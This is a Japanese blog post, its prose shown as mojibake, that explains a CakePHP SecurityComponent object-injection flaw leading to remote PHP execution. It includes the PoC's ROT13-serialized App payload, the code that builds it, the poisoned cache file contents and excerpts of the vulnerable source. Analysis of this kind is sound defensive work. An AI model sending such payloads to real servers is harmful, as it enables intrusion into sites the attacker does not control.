CakePHPã®SecurityComponentã®èå¼±æ§ã§ä»»æã®PHPã³ã¼ããå®è¡ã§ããä»çµã¿
ãã¯ãæãããæãã®ããCakePHPã®ã»ãã¥ãªãã£ãã¼ã¯ã³ããä»»æã®PHPãå®è¡ã§ããèå¼±æ§ã§ããããªãããã§ä»»æã®PHPã³ã¼ããå®è¡å¯è½ã«ãªã£ã¦ãã¾ãã®ãå¿é ã§å¤ãç ããªãæ¹ã®çºã«ãå®è¡ãããä»çµã¿ã解説ãã¦ã¿ããã¨æãã¾ãã詳細ã¨ã¢ããã¤ã¶ãªãPoCã¯ä»¥ä¸ã®ãã®ãåç §ãã¦ãã¾ãã
CakePHPã®SecurityComponentãæä¾ããCSRF対çã®ãã¼ã¯ã³ã¯åä¸ã®èå¥åã§ã¯ãªãã':' ã§ãã¼ã¯ã³ã¨$lockedã¨ããè¬ã®å¤ãç¹ããããã®ã«ãªã£ã¦ãã¾ãã$lockedã«ã¯é
åãã·ãªã¢ã©ã¤ãºãããã®ãROT13ã§å¤æãããã®ãå
¥ã£ã¦ãã¾ãããã®$lockedã«ä»»æã®å¤ãå
¥ãããã¨ã§ä»»æã®PHPã³ã¼ããå®è¡ã§ããã¨ããã®ãä»åã®èå¼±æ§ã§ãã
PoCã§ã¯$lockedã«ä»¥ä¸ã®å¤ãæå®ããããã«ãªã£ã¦ãã¾ãã
B:3:"Ncc":4:{f:7:"__pnpur";v:1;f:5:"__znc";n:2:{f:4:"Pber";n:1:{f:6:"Ebhgre";f:42:"../gzc/pnpur/crefvfgrag/pnxr_pber_svyr_znc";}f:3:"Sbb";f:24:"";}f:7:"__cnguf";n:0:{}f:9:"__bowrpgf";n:0:{}}
ããã¯ä»¥ä¸ã®ããã«ãã¦çæãããªãã¸ã§ã¯ããROT13ã§å¤æãã¦ã·ãªã¢ã©ã¤ãºãããã®ã§ãã__mapããããã£ã®Fooã«å ¥ã£ã¦ãããã®ããµã¼ãå ã§å®è¡ãããPHPã³ã¼ãã«ãªãã¾ãããã¼ã¯Fooã§ãªãã¦ãæ§ãã¾ããã
$obj = new App(); $obj->__cache = 1; $obj->__map = array("Core" => array("Router" => "../tmp/cache/persistent/cake_core_file_map"), "Foo" => "<? phpinfo(); exit(); ?>"); $obj->__paths = array(); $obj->__objects = array();
ã¡ãªã¿ã«ROT13ã¨ããã®ã¯ã¢ã«ãã¡ãããaãzããã³AãZãã¢ã«ãã¡ãããé ã«13æåãããããã®ã«ç½®ãæããã¨ãã夿å¦çã§ãããä¸åº¦åã夿ããããã ãã§å ã«æ»ãã®ãç¹å¾´ã§ããæå·ã¨ããããã¯å 容ãé ãç¨åº¦ã®ãã®ã§ãããPHPã®ã·ãªã¢ã©ã¤ãºãã©ã¼ãããã¯è¨å·ãå¤ãã®ã§ãè¦ã¦ã®éããã¾ãé ãã¦ãã¾ããããããªãã°BASE64ã¨ã³ã³ã¼ãã®æ¹ãã¾ã ã¾ãã¨ããã¾ãã
è©±ãæ»ãã¾ãã¨ãã¯ã©ã¤ã¢ã³ãããéããã¦ããã»ãã¥ãªãã£ãã¼ã¯ã³ã¯ãSecurityComponentã¯ã©ã¹ã®_validatePost()ã¡ã½ããã®ä»¥ä¸ã®å¦çã§ãã¼ã¯ã³ã¨$lockedã«åè§£ããã¦ãã·ãªã¢ã©ã¤ãºããã¾ãã
cakephp/security.php at a0a84d1a8d854365c557b630a92ed584c39db8ba · cakephp/cakephp · GitHub
$locked = null; $check = $controller->data; $token = urldecode($check['_Token']['fields']); if (strpos($token, ':')) { list($token, $locked) = explode(':', $token, 2); } unset($check['_Token']); $lockedFields = array(); $fields = Set::flatten($check); $fieldList = array_keys($fields); $locked = unserialize(str_rot13($locked));
ãã¼ã¯ã³ããåãåºãã$lockedã¯ãªãã®ãã§ãã¯ãç¡ãã«ãã®ã¾ã¾unserialize()ã«æ¸¡ããã¾ãããããä»åã®èå¼±æ§ã®ç´æ¥ã®åå ã§ãä»»æã®å¤ããã·ãªã¢ã©ã¤ãºã§ããã¨ãPHPã§ã¯ä»¥ä¸ã®3ã¤ã®èå¼±æ§ãçºçãã¾ãã
- ç°å¸¸ã«ãã¹ãããé åããã·ãªã¢ã©ã¤ãºããããªã©ã«ããDoSæ»æãåãã
- è¨è¨è ãæå³ãã¦ããªãåãå¤ãæã£ããã¼ã¿ã使ç¨ããã¦èª¤åä½ããããã
- ãªãã¸ã§ã¯ãããã·ãªã¢ã©ã¤ãºããæã«ä»éãã¦å®è¡ãããå¦çãå©ç¨ãã¦èª¤åä½ããããã
ãã®èå¼±æ§ã§ã¯3ã¤ç®ãå©ç¨ããã¦ãã¦ããªãã¸ã§ã¯ãããã·ãªã¢ã©ã¤ãºããã¨ããã®ãªãã¸ã§ã¯ããç ´æ£ãããã¨ãã«ãã¹ãã©ã¯ã¿ãå¼ã³åºãããã¨ãããã¨ãå©ç¨ãã¦ãã¾ãã$lockedããã·ãªã¢ã©ã¤ãºãããçµæã¨ãã¦Appã¯ã©ã¹ã®ã¤ã³ã¹ã¿ã³ã¹ãçæããã¾ããããAppã¯ã©ã¹ã®ãã¹ãã©ã¯ã¿ãå®è¡ããããã¨ã«ãªãã¾ãããã®Appã¯ã©ã¹ã®ãã¹ãã©ã¯ã¿ã¯ä»¥ä¸ã®ããã«ãªã£ã¦ãã¾ãã
cakephp/configure.php at a0a84d1a8d854365c557b630a92ed584c39db8ba · cakephp/cakephp · GitHub
function __destruct() { if ($this->__cache) { $core = App::core('cake'); unset($this->__paths[rtrim($core[0], DS)]); Cache::write('dir_map', array_filter($this->__paths), '_cake_core_'); Cache::write('file_map', array_filter($this->__map), '_cake_core_'); Cache::write('object_map', $this->__objects, '_cake_core_'); } }
Appã¯ã©ã¹ã¯ã¯ã©ã¹ãã¼ãã®æ©è½ãæã£ã¦ãã¦ãã¯ã©ã¹åã¨ãã¡ã¤ã«ãã¹ã®å¯¾å¿ããã£ãã·ã¥ããããã«ãªã£ã¦ãã¾ãããã®ãã£ãã·ã¥ã__mapããããã£ã§ãã¢ã¸ã¥ã¼ã«åãã¯ã©ã¹åããã¼ã¨ãããã¹ããããããã·ã¥ã«ãªã£ã¦ãã¦ãå¤ã¨ãã¦ãã¡ã¤ã«ãã¹ãå ¥ã£ã¦ãã¾ãããã¹ãã©ã¯ã¿ã§ã¯ãã£ãã·ã¥ã®å 容ãCache::write()ã使ã£ã¦ ../tmp/cache/persistent/cake_core_file_map ã¨ãããã¡ã¤ã«ã«ä¿åãã¦ãã¾ããã¤ã³ã¹ã¿ã³ã¹çææã«ãã¡ã¤ã«ãèªã¿è¾¼ãã§ãã£ãã·ã¥ã復å ãã¾ãã
ãã¦ã$lockedããçæãããAppã¯ã©ã¹ã®ã¤ã³ã¹ã¿ã³ã¹ã®ãã¹ãã©ã¯ã¿å®è¡ãããã¨ããã®ãã£ãã·ã¥ãã¡ã¤ã«ã®ä¿åå¦çãå®è¡ããããã£ãã·ã¥ãã¡ã¤ã«ã¯ä»¥ä¸ã®å å®¹ã«æ¸ãæãããã¾ãããã©ã¼ãããã¯ã1è¡ç®ã«ãã£ãã·ã¥ã®æå¹æéã®æ¥ä»æååã2è¡ç®ä»¥éã«ãã¼ã¿ãã·ãªã¢ã©ã¤ãºãããã®ã«ãªã£ã¦ãã¾ãã
1294140712
a:2:{s:4:"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}s:3:"Foo";s:24:"<? phpinfo(); exit(); ?>";}
æ¸ãæããçµæãCoreã¢ã¸ã¥ã¼ã«ã®Routerã¯ã©ã¹ã®ãã¡ã¤ã«ãã¹ã仿¸ãæãããã£ãã·ã¥ãã¡ã¤ã«ã®ãã¹ã«ãªãã¨ããã®ããã¤ã³ãã§ãããã£ãã·ã¥ãã¡ã¤ã«ã®ä¸èº«ãè¦ãã¨åããããã«ã$lockedã§æå®ããPHPã³ã¼ãããã®ã¾ã¾å«ã¾ãã¦ãã¾ãããã®ãã£ãã·ã¥ãå©ç¨ãã¦Coreã¢ã¸ã¥ã¼ã«ã®Routerã¯ã©ã¹ã®ãã¼ããè¡ãããã¨ããã®ä¸ã«å«ã¾ããPHPã³ã¼ããå®è¡ãããã¨ããããã§ããå®è¡ãããPHPã³ã¼ããå ¥ãããã¼ãFooã§ãªãã¦ãããã®ã¯ãã®ããã§ãã©ããªå½¢ã§ãããã¨ãã£ãã·ã¥ãã¡ã¤ã«ã«PHPã³ã¼ããå«ã¾ãã¦å ¥ãããããã°è¯ãã®ã§ãã
å®éã«PHPã³ã¼ããå®è¡ãããã®ã¯æ¬¡ã®ãªã¯ã¨ã¹ãã®æã«ãªãã¾ãã
ã¾ããAppã¯ã©ã¹ã¯bootstrap.phpã§requireããã¾ããçç±ã¯åããã¾ããããAppã¯ã©ã¹ã¯configure.phpã§Configureã¯ã©ã¹ã¨å ±ã«å®ç¾©ããã¦ãã¾ãã
cakephp/bootstrap.php at a0a84d1a8d854365c557b630a92ed584c39db8ba · cakephp/cakephp · GitHub
require CORE_PATH . 'cake' . DS . 'config' . DS . 'paths.php'; require LIBS . 'object.php'; require LIBS . 'inflector.php'; require LIBS . 'configure.php'; require LIBS . 'set.php'; require LIBS . 'cache.php'; Configure::getInstance(); require CAKE . 'dispatcher.php';
PHPã³ã¼ããå®è¡ãããã£ããã¨ãªãCoreã¢ã¸ã¥ã¼ã«ã®Routerã¯ã©ã¹ã¯ã©ãã§ãã¼ãããããã¨ããã¨ãbootstrap.phpã«ç¶ãã¦å®è¡ãããdispatcher.phpã®åé ã§App::import()ã使ã£ã¦ãã¼ãããã¾ãã
cakephp/dispatcher.php at a0a84d1a8d854365c557b630a92ed584c39db8ba · cakephp/cakephp · GitHub
App::import('Core', 'Router');
App::import('Controller', 'Controller', false);
ãã®Routerã¯ã©ã¹ããã¼ãããæç¹ã§PHPã³ã¼ããå®è¡ããæ»æãæåãã¾ãããªã¯ã¨ã¹ãã®å 容ããªãã§ãã£ã¦ããã®ã¯ã©ã¹ã¯ãã¼ããããã®ã§ã2åç®ã®ãªã¯ã¨ã¹ãã¯ã©ããªãã®ã§ãæ§ãã¾ãããPoCãåããªã¯ã¨ã¹ãã2åéã£ã¦ããã®ã¯ããã®æ¹ãç°¡åã ããã¨ããã®ã¨ããã£ãã·ã¥ã®æ¸ãæãã確å®ã«è¡ãã¨ããé¢ãããã®ã ã¨æãã¾ãã
PoCã®ãªã¯ã¨ã¹ããå¦çãã¦ããæã«ã¯ãæ£è¦ã®Appã¯ã©ã¹ã®ã¤ã³ã¹ã¿ã³ã¹ã¨ã$lockedããçæãããAppã¯ã©ã¹ã®ã¤ã³ã¹ã¿ã³ã¹ã®2ã¤ãåæã«åå¨ãã¦ãããã¨ã«ãªãã¾ããæ£è¦ã®ã¤ã³ã¹ã¿ã³ã¹ã®ãã¹ãã©ã¯ã¿ã$lockedã®ãã®ãããå¾ã§å®è¡ãããå ´åããã£ããæ¸ãæãããã£ãã·ã¥ãæ£è¦ã®å 容ã§ä¸æ¸ãããã¦ãã¾ãã¾ãããã£ãã·ã¥ã«å¤æ´ãç¡ãã£ãå ´åã¯ãã¡ã¤ã«ãæ¸ãæããªãããã«ãªã£ã¦ããã®ã§ãåããªã¯ã¨ã¹ããæããã°2åç®ä»¥éã¯æ¸ãæããããªããã¨ãæå¾ ã§ãã¾ããããã«ãã£ã¦å¸¸ã«æ£è¦ã®ã¤ã³ã¹ã¿ã³ã¹ã«åã¦ãããã«ãã¦ããã¨ãã訳ã§ãã
ã¡ãªã¿ã«ããã<?ã¨?>ã®å¤å´ã«ä½è¨ãªãã®ããã£ãå ´åã«ãã¼ãã失æãããªãã°ããããã¯PHPã®ã·ãªã¢ã©ã¤ãºã®ãã©ã¼ãããããã£ã¨ãã¤ããªã£ã½ãã¦æååããã®ã¾ã¾å«ã¾ããªãå½¢å¼ã§ãã£ããªãã°ããã®æ»æã¯æåãã¾ãããPHPã®ãããã®ç¹å¾´ãããã°ããã®æ»ææ¹æ³ã ã¨è¨ãã¾ãã